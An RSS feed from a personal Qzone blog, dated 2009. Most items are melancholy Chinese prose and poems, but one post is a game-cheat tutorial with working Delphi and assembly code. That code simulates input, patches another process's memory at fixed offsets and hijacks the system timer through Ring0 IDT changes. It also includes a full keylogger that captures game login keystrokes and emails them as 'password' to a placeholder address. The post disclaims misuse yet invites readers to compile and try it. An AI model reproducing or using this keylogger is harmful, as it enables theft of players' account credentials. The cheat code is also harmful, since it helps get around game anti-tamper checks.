<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[青涩的、倔强]]></title>
<description><![CDATA[别讓 伤心。 成为 一种习惯 、]]></description>
<link>http://362903302.qzone.qq.com</link>
<lastBuildDate>Sat, 28 Nov 2009 13:31:26 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Sun, 11 Oct 2009 13:22:04 GMT</pubDate>

<item>
<title><![CDATA[曾几何时、被唤做小,8]]></title>
<link>http://362903302.qzone.qq.com/blog/1255267324</link>
<description><![CDATA[蚀心焚骨的回忆，终究会让我们万劫不复，孤独的灵魂舞蹈，在我的视线里开始燃烧，也许我们应该明白，凡人是无法经受浴火的痛苦，所以注定无法重生，曾经迷离恍惚间，我将心中的怨恨一扫而空，是否只有经历了沧海桑田，我们才会真正的明白爱的含义，在某一个隔世的国度里，没有人知道你的欢笑与悲伤，哀莫过于心死，那样就不会再有落寞和恐惧，梦想着在你的天空里飞翔，有一个声音告诉我，我的影子里已不再有绝望，转眼间，眼前只留一片空白。<br> <br><br>想天真的去捕捉你的凝眸，却发现我已经连自己都遗忘了，我的眼泪不想让你看见，无望的停泊，目光收缩成一张期待的网，浓雾弥漫在各个角落里，触及到我的皮肤上，反复流连的不舍厌倦，倾听着苍天的气息，双眼在这一刻变得开始凝重，等着如歌的开始节奏，沿着岁月的边缘开始游走，哪怕是心在滴着血，也是属于我的千古绝唱，黑夜不可逆转，未曾愈合的伤口，依旧隐隐作痛，宁静也在这时开始颤抖，放飞心中的憧憬，把最后的笑容凝聚成璀璨的思念，再去找寻那亮丽容颜的昨天。<br> <br> <br>离开，不过在弹指间，在淡薄的笑容与交际中，一切只能如海市蜃楼般，只能在遥远的观望中，习惯了，习惯了用自欺欺人的谎言给自己冰冷的安慰，曾几何时，太过于的小心翼翼的错过，却错过了一世，醒悟之时，不能不放弃，无奈之际，也只能是放弃，地上的玫瑰花已枯萎，笑着流泪，笑着心碎，童话之所以美丽，也许是因为它一直是我们触及不到的梦，一直无法抹去心里的点点暗伤，像结了疤一样，牢牢的锁在心里，没有一点痕迹，我就这样消失在另一个黑夜里，当离开意味着永远的不归时，我才拼命地去试探你，一切的一切都已经尘埃落定。<br> <br> <br>今夜过后在我的心里，不会存在着寂寞和叹息，还有最无奈的纠缠，我也不会在徘徊在取舍之间，再不会被疲倦吞噬，曲终人已散的结局以归于平淡，点点的残缺也不会维系于心，惟有那段以逝的岁月<br> <br> <br> <br>                                                                                                  这夜尊奠束缚着我的以被解的枷锁、 <!--v:3.2--> ]]></description>
<category><![CDATA[开心、的眼泪]]></category>
<author><![CDATA[362903302@qq.com(青涩的、倔强)]]></author>
<comments>http://362903302.qzone.qq.com/blog/1255267324#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sun, 11 Oct 2009 13:22:04 GMT</pubDate>
<guid>http://362903302.qzone.qq.com/blog/1255267324</guid>
</item>

<item>
<title><![CDATA[月已圆,但人早已散]]></title>
<link>http://362903302.qzone.qq.com/blog/1254568212</link>
<description><![CDATA[紧闭着双眼,<br>回忆着当年、当时、当初的我们,<br>那么的难舍难分，<br>现在，<br>却发现你已经不在我身边，<br>如今，<br>却没有发现天已经黑了，<br>当年、当时、当初的我，<br>只是紧闭双眼。一盏孤灯还微微的泛着光，<br>一个人慢慢的进入了梦乡，<br>距离叫我们更加亲密无间，<br>距离叫我更加的思念你，<br>思念我们曾经的过去，<br>对着镜子望着那张似曾相识的脸，<br>带有一丝一丝的忧郁，<br>曾经的那张熟悉的脸，<br>烙印了许许多多的故事，<br>曾经的对不起，<br>却不知怎么说出口而以。<br>眼泪还是那滴眼泪，<br>留下的也只是那苦涩的味道而以，<br>忧郁的脸，<br>叫我不知道如何面对失去的东西，<br>岁月无情，<br>人却有情，<br>物是人非的时候，<br>我还是放弃，<br>放弃了流下的那滴苦涩的泪，<br>也放弃了对你深深的思念。<br>故事还是那个故事，<br>人却不在是那个我熟悉的人了，<br>曾经的最美，<br>曾经的故事，<br>却永远留在我的心中。 <!--v:3.2--> ]]></description>
<category><![CDATA[缺一份、安定]]></category>
<author><![CDATA[362903302@qq.com(青涩的、倔强)]]></author>
<comments>http://362903302.qzone.qq.com/blog/1254568212#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 03 Oct 2009 11:10:12 GMT</pubDate>
<guid>http://362903302.qzone.qq.com/blog/1254568212</guid>
</item>

<item>
<title><![CDATA[谁读懂了我眼里的、忧伤]]></title>
<link>http://362903302.qzone.qq.com/blog/1252357003</link>
<description><![CDATA[灰暗、<br>五颜六色被谁偷走了？<br>悠闲的生活，很不适应<br>好像患上定时性忧郁症<br>工作结束一切劲头殆尽<br>回家<br>不想参与，不想倾听，不想交谈<br>不能控制情绪<br>不由低落<br>对着电脑，这样的诉说只有它能懂<br>只有这样的诉说才能继续明天的生活<br>双重人格？<br>夜长了也就成了梦<br>最近的这几个小时<br>秋风瑟瑟、细雨蒙蒙<br>究竟是不喜欢这样的天气<br>还是我以不在是我<br>或许这只是我那场没有醒来的梦<br> <br> <br> <br> <br> <br> <br> <br> <br>                                                                                                     这夜、祭奠我那退化了的文笔<br> <br> <br> <br> <br> <br> <br>                                                   <br> <!--v:3.2--> ]]></description>
<category><![CDATA[80、亦苦涩]]></category>
<author><![CDATA[362903302@qq.com(青涩的、倔强)]]></author>
<comments>http://362903302.qzone.qq.com/blog/1252357003#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Mon, 07 Sep 2009 20:56:43 GMT</pubDate>
<guid>http://362903302.qzone.qq.com/blog/1252357003</guid>
</item>

<item>
<title><![CDATA[那一抹难忘的、记忆]]></title>
<link>http://362903302.qzone.qq.com/blog/1251877554</link>
<description><![CDATA[我们的故事是否已经演完。<br>我们的故事是否依旧正在继续。<br><br>关于你曾经有多爱我，或者有多恨我。<br>关于我曾经有多恨你，或者有多爱你。<br><br>只是那些都是曾经。<br>只是心底里还记得那么深。<br><br>鼻子忽然酸酸的，想矫情的哭一下。<br>可惜眼泪已经干涸。<br><br>我想我们每个人都要试着宽恕这段岁月的。<br>不论相不相信爱情，至少相信自己的信仰。<br><br>奶茶的《后来》里：后来终于在眼泪中明白，有些人一旦错过就不在。<br>物是人非。时间叫人妥协。<br><br>你会慢慢成熟，亦会慢慢变老。<br>你会幸福快乐，亦会困难重重。<br>只是那些将是你今后的人生，与我无关。<br><br>有时候希望时间越快越好，有时候希望时间越慢越好。<br>而无论怎么样，时间都是向前走的，不会停止。<br>它的意义在于，让你拥有回忆。<br><br>还有什么是无法忘记的。<br>还有什么是不能原谅的。<br>请当我们那场相遇是场误会。而之后再见面，是给予彼此的谅解。 <!--v:3.2--> ]]></description>
<category><![CDATA[我是、80后]]></category>
<author><![CDATA[362903302@qq.com(青涩的、倔强)]]></author>
<comments>http://362903302.qzone.qq.com/blog/1251877554#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 02 Sep 2009 07:45:54 GMT</pubDate>
<guid>http://362903302.qzone.qq.com/blog/1251877554</guid>
</item>

<item>
<title><![CDATA[喜欢的可以随时参考]]></title>
<link>http://362903302.qzone.qq.com/blog/1237313655</link>
<description><![CDATA[事先说明，本人只研究外挂，并不涉及外挂的牟利与传播，请理解，<br><br>在几年前我看到别人玩网络游戏用上了外挂，做为程序员的我心里实在是不爽，想搞清楚这到底是怎么回事。就拿了一些来研究，小有心得，拿出来与大家共享，尤其是学编程的同学，外挂无非就是分几种罢了（依制作难度）：<br>1、动作式，所谓动作式，就是指用API发命令给窗口或API控制鼠标、键盘等，使游戏里的人物进行流动或者攻击，最早以前的“石器”外挂就是这种方式。（这种外挂完全是垃圾，TMD，只要会一点点API的人都知道该怎么做，不过这种外挂也是入门级的好东东，虽然不能提高你的战斗力，但是可以提高你的士气^_^）<br>2、本地修改式，这种外挂跟传统上的一些游戏修改器没有两样，做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现，“精灵”的外挂这是这种方式写成的，它的难点在于找到那些地址码，找地址一般地要借助于别人的工具，有的游戏还有双码校验，正正找起来会比较困难。（这种外挂，比上一种有一点点难度，但是这种外挂做起来能够用，也是有一定难度的啦~~，这种外挂可以很快提升你对内存地址的理解及应用，是你编程技术提高的好东东）<br>3、木马式，这种外挂的目的是帮外挂制作者偷到用户的密码（TMD，“烂”就一个字，不过要知已知彼所以还是要谈一下啦~~），做这种外挂有一定的难度，需要HOOK或键盘监视技术做底子，才可以完成，它的原理是先首截了用户的帐号或密码，然后发到指定邮箱。（我以前写过这样的东东，但是从来没有用过，我知道这种东东很不道德，所以以后千万别用呀！~~）<br>4、加速式，这种外挂可以加快游戏的速度……（对不起大家，这种东东我没有实际做过，所以不能妄自评，惭愧~~）<br>5、封包式，这种外挂是高难度外挂，需要有很强的编程功力才可以写得出来。它的原理是先截取封包，后修改，再转发（Kao,说起来简单，你做一个试试~~~~）。这种外挂适用于大多数网络游戏，像WPE及一些网络游戏外挂都是用这种方式写成的，编写这种外挂需要apihook技术，winsock技术<br>　　这几种外挂之中，前三种可以用ＶＢ，ＤＥＬＰＨＩ等语言比较好实现，后两种则要用ＶＣ等底层支持比较好的编程工具才好实现。<br>现在就依次（制作难度）由浅到深谈谈我对外挂制作的一些认识吧~~~~<br>首先，先来谈一下动作式的外挂，这也是我第一次写外挂时做的最简单的一种。记得还在“石器”时代的时候，我看到别人挂着一种软件（外挂）人物就可以四外游走（当时我还不知道外挂怎么回事^_^），于是找了这种软件过来研究（拿来后才听别人说这叫外挂），发现这种东东其实实现起来并不难，仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已，看后就有实现这功能的冲动，随后跑到MSDN上看了一些资料，发现这种实现这几个功能，只需要几个简单的API函数就可以搞定：<br>1、首先我们要知道现在鼠标的位置（为了好还原现在鼠标的位置）所以我们就要用到API函数GetCursorPos，它的使用方法如下：<br>BOOL GetCursorPos( LPPOINT lpPoint // address of structure for cursor position );<br>2、我们把鼠标的位置移到要到人物走到的地方，我们就要用到SetCursorPos函数来移动鼠标位置，它的使用方法如下：<br>BOOL SetCursorPos(<br>int X, // horizontal position <br>int Y // vertical position<br>);<br>3、模拟鼠标发出按下和放开的动作，我们要用到mouse_event函数来实现，具休使用方法用下：<br>VOID mouse_event(<br>DWORD dwFlags, // flags specifying various motion/click variants<br>DWORD dx, // horizontal mouse position or position change<br>DWORD dy, // vertical mouse position or position change<br>DWORD dwData, // amount of wheel movement<br>DWORD dwExtraInfo // 32 bits of application-defined information<br>);<br>在它的dwFlags处，可用的事件很多如移动MOUSEEVENTF_MOVE，左键按下MOUSEEVENTF_LEFTDOWN，左键放开MOUSEEVENTF_LEFTUP，具体的东东还是查一下MSDN吧~~~~~<br>好了，有了以前的知识，我们就可以来看看人物移走是怎么实现的了：<br>getcursorpos(point);<br>setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数<br>mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);<br>mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);<br>setcursorpos(point.x,point.y);<br>看了以上的代码，是不是觉得人物的游走很简单啦~~，举一仿三，还有好多好东东可以用这个技巧实现（我早就说过，TMD，这是垃圾外挂的做法，相信了吧~~~），接下来，再看看游戏里面自动攻击的做法吧（必需游戏中攻击支持快捷键的），道理还是一样的，只是用的API不同罢了~~~，这回我们要用到的是keybd_event函数，其用法如下：<br>VOID keybd_event(<br>BYTE bVk, // virtual-key code<br>BYTE bScan, // hardware scan code<br>DWORD dwFlags, // flags specifying various function options<br>DWORD dwExtraInfo // additional data associated with keystroke<br>);<br>我们还要知道扫描码不可以直接使用，要用函数MapVirtualKey把键值转成扫描码，MapVirtualKey的具体使用方法如下：<br>UINT MapVirtualKey(<br>UINT uCode, // virtual-key code or scan code<br>UINT uMapType // translation to perform<br>);<br>好了，比说此快接键是CTRL+A，接下来让我们看看实际代码是怎么写的：<br>keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);<br>keybd_event(65,mapvirtualkey(65,0),0,0);<br>keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);<br>keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);<br>首先模拟按下了CTRL键，再模拟按下A键，再模拟放开A键，最后放开CTRL键，这就是一个模拟按快捷键的周期。<br>（看到这里，差不多对简易外挂有了一定的了解了吧~~~~做一个试试？如果你举一仿三还能有更好的东东出来，这就要看你的领悟能力了~~，不过不要高兴太早这只是才开始，以后还有更复杂的东东等着你呢~~）<br>上回我们对动作式外挂做了一个解析，动作式是最简单的外挂，现在我们带来看看，比动作式外挂更进一步的外挂棗本地修改式外挂的整个制作过程进行一个详细的分解。<br>具我所知，本地修改式外挂最典型的应用就是在“精灵”游戏上面，因为我在近一年前（“精灵”还在测试阶段），我所在的公司里有很多同事玩“精灵”，于是我看了一下游戏的数据处理方式，发现它所发送到服务器上的信息是存在于内存当中（我看后第一个感受是：修改这种游戏和修改单机版的游戏没有多大分别，换句话说就是在他向服务器提交信息之前修改了内存地址就可以了），当时我找到了地址于是修改了内存地址，果然，按我的想法修改了地址，让系统自动提交后，果然成功了~~~~~，后来“精灵”又改成了双地址校检，内存校检等等，在这里我就不废话了~~~~，OK，我们就来看看这类外挂是如何制作的：<br>在做外挂之前我们要对Windows的内存有个具体的认识，而在这里我们所指的内存是指系统的内存偏移量，也就是相对内存，而我们所要对其进行修改，那么我们要对几个Windows API进行了解，OK，跟着例子让我们看清楚这种外挂的制作和API的应用（为了保证网络游戏的正常运行，我就不把找内存地址的方法详细解说了）：<br>1、首先我们要用FindWindow,知道游戏窗口的句柄，因为我们要通过它来得知游戏的运行后所在进程的ID，下面就是FindWindow的用法：<br>HWND FindWindow(<br>LPCTSTR lpClassName, // pointer to class name<br>LPCTSTR lpWindowName // pointer to window name<br>);<br>2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID，函数用法如下：<br>DWORD GetWindowThreadProcessId(<br>HWND hWnd, // handle of window<br>LPDWORD lpdwProcessId // address of variable for process identifier<br>);<br>3、得到游戏进程ID后，接下来的事是要以最高权限打开进程，所用到的函数OpenProcess的具体使用方法如下：<br>HANDLE OpenProcess(<br>DWORD dwDesiredAccess, // access flag <br>BOOL bInheritHandle, // handle inheritance flag <br>DWORD dwProcessId // process identifier <br>);<br>在dwDesiredAccess之处就是设存取方式的地方，它可设的权限很多，我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以，其他的方式我们可以查一下MSDN。<br>4、打开进程后，我们就可以用函数对存内进行操作，在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可（其他的操作方式比如说：ReadProcessMemory等，我在这里就不一一介绍了），我们看一下WriteProcessMemory的用法：<br>BOOL WriteProcessMemory(<br>HANDLE hProcess, // handle to process whose memory * written to <br>LPVOID lpBaseAddress, // address to start writing to <br>LPVOID lpBuffer, // pointer to buffer to write data to<br>DWORD nSize, // number of bytes to write<br>LPDWORD lpNumberOfBytesWritten // actual number of bytes written <br>);<br>5、下面用CloseHandle关闭进程句柄就完成了。<br>这就是这类游戏外挂的程序实现部份的方法，好了，有了此方法，我们就有了理性的认识，我们看看实际例子，提升一下我们的感性认识吧，下面就是XX游戏的外挂代码，我们照上面的方法对应去研究一下吧：<br>const<br>ResourceOffset: dword = $004219F4;<br>resource: dword = 3113226621;<br>ResourceOffset1: dword = $004219F8;<br>resource1: dword = 1940000000;<br>ResourceOffset2: dword = $0043FA50;<br>resource2: dword = 1280185;<br>ResourceOffset3: dword = $0043FA54;<br>resource3: dword = 3163064576;<br>ResourceOffset4: dword = $0043FA58;<br>resource4: dword = 2298478592;<br>var<br>hw: HWND;<br>pid: dword;<br>h: Thandle;<br>tt: Cardinal;<br>begin<br>hw := FindWindow(''XX'', nil);<br>if hw = 0 then<br>Exit;<br>GetWindowThreadProcessId(hw, @pid);<br>h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);<br>if h = 0 then<br>Exit;<br>if flatcheckbox1.Checked=true then<br>begin<br>WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);<br>WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);<br>end;<br>if flatcheckbox2.Checked=true then<br>begin<br>WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);<br>WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);<br>WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);<br>end;<br>MessageBeep(0);<br>CloseHandle(h);<br>close;<br>这个游戏是用了多地址对所要提交的数据进行了校验，所以说这类游戏外挂制作并不是很难，最难的是要找到这些地址。<br>（方法大家已经看清楚了，具体实践就看大家的了，呵呵~~~~~~，不过不要高兴太早，这种网络游戏毕竟占少数，所以我会在以后的文章中对其他类型外挂做详细解说，对了，请跟一下贴子，鼓励一下，不然我真的没有信心写下面的文章了，谢谢）<br>以前介绍过的动作式，本地修改式外挂是真正意义上的外挂，而今天本文要介绍的木马式外挂，可能大多像木马吧，是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在，所以今天不得不说一下（我个人是非常讨厌这类外挂的，请看过本文的朋友不要到处乱用此技术，谢谢合作）。要做此类外挂的程序实现方法很多（比如HOOK，键盘监视等技术），因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库，所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视，这个程序用这种技术来实现比较适合。<br>在做程序之前我们必需要了解一下程序的思路：<br>1、我们首先知道你想记录游戏的登录窗口名称。<br>2、判断登录窗口是否出现。<br>3、如果登录窗口出现，就记录键盘。<br>4、当窗口关闭时，把记录信息，通过邮件发送到程序设计者的邮箱。<br>第一点我就不具体分析了，因为你们比我还要了解你们玩的是什么游戏，登录窗口名称是什么。从第二点开始，我们就开始这类外挂的程序实现之旅：<br>那么我们要怎么样判断登录窗口虽否出现呢？其实这个很简单，我们用FindWindow函数就可以很轻松的实现了：<br>HWND FindWindow(<br>LPCTSTR lpClassName, // pointer to class name<br>LPCTSTR lpWindowName // pointer to window name<br>);<br>实际程序实现中，我们要找到''xx''窗口，就用FindWindow(nil,''xx'')如果当返回值大于0时表示窗口已经出现，那么我们就可以对键盘信息进行记录了。<br>先首我们用SetWindowsHookEx设置监视日志，而该函数的用法如下：<br>HHOOK SetWindowsHookEx(<br>int idHook, // type of hook to install<br>HOOKPROC lpfn, // address of hook procedure<br>HINSTANCE hMod, // handle of application instance<br>DWORD dwThreadId // identity of thread to install hook for <br>); <br>在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数，来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了，具体实现方法为：<br>hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, Hinstance, 0); <br>而HOOKPROC里的函数就要复杂一点点：<br>function HookProc(iCode: integer; wParam: wParam; lParam: lParam): Lresult; stdcall; <br>begin <br>if findedtitle then //如果发现窗口后<br>begin <br>if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下<br>hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult（自定义的函数，主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的）转换消息。<br>If length(hookkey) &gt; 0 then //如果获得按键名称<br>begin <br>Write(hookkeyFile,hookkey); //把按键名称写入文本文件<br>hookkey := ''''; <br>end; <br>end; <br>end; <br>以上就是记录键盘的整个过程，简单吧，如果记录完可不要忘记释放呀，UnHookWindowsHookEx(hHook)，而Hhook,就是创建setwindowshookex后所返回的句柄。<br>我们已经得到了键盘的记录，那么现在最后只要把记录的这些信息发送回来，我们就大功造成了。其他发送这块并不是很难，只要把记录从文本文件里边读出来，用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下：<br>assignfile(ReadFile,''hook.txt''); //打开hook.txt这个文本文件<br>reset(ReadFile); //设为读取方式<br>try <br>While not Eof(ReadFile) do //当没有读到文件尾<br>begin <br>Readln(ReadFile,s,j); //读取文件行<br>body:=body+s; <br>end; <br>finally <br>closefile(ReadFile); //关闭文件<br>end; <br>nmsmtp1.EncodeType:=uuMime; //设置编码<br>nmsmtp1.PostMessage.Attachments.Text:=''''; //设置附件<br>nmsmtp1.PostMessage.FromAddress:=''XXX@XXX.com''; //设置源邮件地址<br>nmsmtp1.PostMessage.ToAddress.Text:=''XXX@XXX.com''; /设置目标邮件地址<br>nmsmtp1.PostMessage.Body.Text:=''密码''+'' ''+body; //设置邮件内容<br>nmsmtp1.PostMessage.Subject:=''password''; //设置邮件标题<br>nmsmtp1.SendMail; //发送邮件<br>这个程序全部功能已经实现，编编试试~~~对了，我以前写的类似的作品可以在<a href="http://www.playicq.com/" target="_blank">www.playicq.com</a><wbr />上找得到。<br>（其实做一个这样的东东也不难，基本也是说不上什么技术可言。希望大看我的文章后不要到处乱应用呀~~~~小生在此有礼了~~~，最后要说的是我最近一段时间很忙，单位里有一堆事情等着我要去做（做项目，做研发，带实习生，过CMM2~~~~累呀），所以第5篇也不得不推后出了，请大家谅解，做为对大家关心的补偿，请大家有什么问题跟贴留言，如果我会，我会一一解答的，谢谢大家对我的文章的关心~~）<br>附：<br>function Keyhookresult(Lp: integer; Wp: integer): pchar; <br>begin <br>result := ''[Print Screen]''; <br>case lp of <br>10688: result := ''`''; <br>561: Result := ''1''; <br>818: result := ''2''; <br>1075: result := ''3''; <br>1332: result := ''4''; <br>1589: result := ''5''; <br>1846: result := ''6''; <br>2103: result := ''7''; <br>2360: result := ''8''; <br>2617: result := ''9''; <br>2864: result := ''0''; <br>3261: result := ''-''; <br>3515: result := ''=''; <br>4177: result := ''Q''; <br>4439: result := ''W''; <br>4677: result := ''E''; <br>4946: result := ''R''; <br>5204: result := ''T''; <br>5465: result := ''Y''; <br>5717: result := ''U''; <br>5961: result := ''I''; <br>6223: result := ''O''; <br>6480: result := ''P''; <br>6875: result := ''[''; <br>7133: result := '']''; <br>11228: result := ''\''; <br>7745: result := ''A''; <br>8019: result := ''S''; <br>8260: result := ''D''; <br>8518: result := ''F''; <br>8775: result := ''G''; <br>9032: result := ''H''; <br>9290: result := ''J''; <br>9547: result := ''K''; <br>9804: result := ''L''; <br>10170: result := '';''; <br>10462: result := ''''''''; <br>11354: result := ''Z''; <br>11608: result := ''X''; <br>11843: result := ''C''; <br>12118: result := ''V''; <br>12354: result := ''B''; <br>12622: result := ''N''; <br>12877: result := ''M''; <br>13244: result := '',''; <br>13502: result := ''.''; <br>13759: result := ''/''; <br>13840: result := ''[Rihoudaot-Shift]''; <br>14624: result := ''[Space]''; <br>283: result := ''[Esc]''; <br>15216: result := ''[F1]''; <br>15473: result := ''[F2]''; <br>15730: result := ''[F3]''; <br>15987: result := ''[F4]''; <br>16244: result := ''[F5]''; <br>16501: result := ''[F6]''; <br>16758: result := ''[F7]''; <br>17015: result := ''[F8]''; <br>17272: result := ''[F9]''; <br>17529: result := ''[F10]''; <br>22394: result := ''[F11]''; <br>22651: result := ''[F12]''; <br>10768: Result := ''[Left-Shift]''; <br>14868: result := ''[CapsLock]''; <br>3592: result := ''[Backspace]''; <br>3849: result := ''[Tab]''; <br>7441: <br>if wp &gt; 30000 then <br>result := ''[Rihoudaot-Ctrl]'' <br>else <br>result := ''[Left-Ctrl]''; <br>13679: result := ''[Num /]''; <br>17808: result := ''[NumLock]''; <br>300: result := ''[Print Screen]''; <br>18065: result := ''[Scroll Lock]''; <br>17683: result := ''[Pause]''; <br>21088: result := ''[Num0]''; <br>21358: result := ''[Num.]''; <br>20321: result := ''[Num1]''; <br>20578: result := ''[Num2]''; <br>20835: result := ''[Num3]''; <br>19300: result := ''[Num4]''; <br>19557: result := ''[Num5]''; <br>19814: result := ''[Num6]''; <br>18279: result := ''[Num7]''; <br>18536: result := ''[Num8]''; <br>18793: result := ''[Num9]''; <br>19468: result := ''[*5*]''; <br>14186: result := ''[Num *]''; <br>19053: result := ''[Num -]''; <br>20075: result := ''[Num +]''; <br>21037: result := ''[Insert]''; <br>21294: result := ''[Delete]''; <br>18212: result := ''[Home]''; <br>20259: result := ''[End]''; <br>18721: result := ''[PageUp]''; <br>20770: result := ''[PageDown]''; <br>18470: result := ''[UP]''; <br>20520: result := ''[DOWN]''; <br>19237: result := ''[LEFT]''; <br>19751: result := ''[RIhoudaoT]''; <br>7181: result := ''[Enter]''; <br>end; <br>end;<br><br>我一直没有搞懂制作加速外挂是怎么一回事，直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍，才有了一点点开悟，随后用Delphi重写了一遍，下面我就把我的心得说给大家听听，并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了，那就开始神奇的加速型外挂体验之旅吧！<br>原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。<br>以前DOS时代玩过编程的人就会马上想到，这很简单嘛不就是直接修改一下8253寄存器嘛，这在以前DOS时代可能可以行得通，但是windows则不然。Windows是一个32位的操作系统，并不是你想改哪就改哪的（微软的东东就是如此霸气，说不给你改就不给你改^_^），但要改也不是不可能，我们可以通过两种方法来实现：第一是写一个硬件驱动来完成，第二是用Ring0来实现（这种方法是CIH的作者陈盈豪首用的，它的原理是修改一下IDE表-&gt;创建一个中断门-&gt;进入Ring0-&gt;调用中断修改向量，但是没有办法只能用ASM汇编来实现这一切*_*，做为高级语言使用者惨啦！），用第一种方法用点麻烦，所以我们在这里就用第二种方法实现吧~~~<br>在实现之前我们来理一下思路吧：<br>1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门，修改向量等工作<br>2、调用这个过程来实现加速功能<br>好了，现在思路有了，我们就边看代码边讲解吧：<br>首先我们建立一个过程，这个过程就是本程序的核心部份：<br>procedure SetRing(value:word); stdcall; <br>const ZDH = $03; ／／ 设一个中断号<br>var<br>IDT : array [0..5] of byte; ／／ 保存IDT表<br>OG : dword; ／／存放旧向量<br>begin<br>asm<br>push ebx<br>sidt IDT ／／读入中断描述符表<br>mov ebx, dword ptr [IDT+2] ／／IDT表基地址<br>add ebx, 8*ZDH ／／计算中断在中断描述符表中的位置<br>cli ／／关中断<br>mov dx, word ptr [ebx+6] <br>shl edx, 16d <br>mov dx, word ptr [ebx] <br>mov [OG], edx <br>mov eax, offset @@Ring0 ／／指向Ring0级代码段<br>mov word ptr [ebx], ax ／／低16位,保存在1,2位<br>shr eax, 16d<br>mov word ptr [ebx+6], ax ／／高16位，保存在6,7位<br>int ZDH ／／中断<br>mov ebx, dword ptr [IDT+2] ／／重新定位<br>add ebx, 8*ZDH<br>mov edx, [OG]<br>mov word ptr [ebx], dx<br>shr edx, 16d<br>mov word ptr [ebx+6], dx ／／恢复被改了的向量<br>pop ebx<br>jmp @@exitasm ／／到exitasm处<br>@@Ring0: ／／Ring0,这个也是最最最核心的东东<br>mov al,$34 ／／写入8253控制寄存器<br>out $43,al<br>mov ax,value　／／写入定时值<br>out $40,al ／／写定时值低位<br>mov al,ah<br>out $40,al ／／写定时值高位<br>iretd ／／返回<br>@@exitasm:<br>end;<br>end;<br>最核心的东西已经写完了，大部份读者是知其然不知其所以然吧，呵呵，不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧！<br>先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：<br>SetRing(strtoint(''$''+inttostr(1742+(10-trackbar1.Position)*160)));<br>因为windows默认的值为$1742，所以我们把1742做为基数，又因为值越小越快，反之越慢的原理，所以写了这样一个公式，好了，这就是“变速齿轮”的一个Delphi＋ASM版了（只适用于win9X），呵呵，试一下吧，这对你帮助会很大的，呵呵。<br><br>我的文章名字没有叫《网络游戏外挂制作之我所见（6）》是因为本文六以后研究的方向就是网络数据封包的内容了，而本文将要介绍的是windows 2000/Xp下实现加速形外挂的制作。<br>在win2000里，我们不可能实现在直接对端口进行操作，Ring0也失了效，有的人就会想到，我们可以写驱动程序来完成呀，但在这里我告诉你，windows2000的驱动不是一个VxD就能实现的，像我这样的低手是写不出windows所用的驱动WDM的，没办法，我只有借助外力实现了，ProtTalk就是一个很好的设备驱动，他很方便的来实现对低层端口的操作，从而实现加速外挂。<br>1、我们首先要下一个PortTalk驱动，他的官方网站<a href="http://www.beyondlogic.org/" target="_blank">http://www.beyondlogic.org</a><wbr /><br>2、我们要把里面的prottalk.sys拷贝出来。<br>3、建立一个Protalk.sys的接口（我想省略了，大家可以<a href="http://www.freewebs.com/liuyue/porttalk.pas" target="_blank">http://www.freewebs.com/liuyue/porttalk.pas</a><wbr />下个pas文件自己看吧）<br>4、实现加速外挂。<br>本来就篇就是补充篇原理我也不想讲太多了，下面就讲一下这程序的实现方法吧，如果说用ProtTalk来操作端口就容易多了，比win98下用ring权限操作方便。<br>1、新建一个工程，把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。<br>2、我们在我们新建的工程加入我们的接口文件<br>uses<br>windows,ProtTalk……<br>3、我们建立一个过程<br>procedure SetRing(value:word); <br>begin<br>if not OpenPortTalk then exit;<br>outportb($43,$34);<br>outportb($40,lo(Value));<br>outprotb($40,hi(value));<br>ClosePortTalk;<br>end;